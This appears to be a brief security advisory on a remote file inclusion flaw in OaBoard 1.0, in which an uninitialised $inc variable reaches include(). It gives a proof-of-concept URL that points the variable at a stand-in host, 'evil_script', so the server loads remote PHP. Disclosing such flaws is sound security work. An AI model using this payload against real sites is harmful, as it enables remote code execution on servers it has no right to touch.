OaBoard 1.0 suffers from a flow that allows anyone to include remote php files via the "inc" variable.
83b52c4367c5ac3c4891e2571205bff7569d6d59af5c456128e29b273d1f7ae9
OaBoard version 1.x have remote file inclusion .
Variables $inc isn't initialized in the include()
http://host/oaboard/forum.php?inc=http://evil_script/
Hessam-x (www.hessamx.net)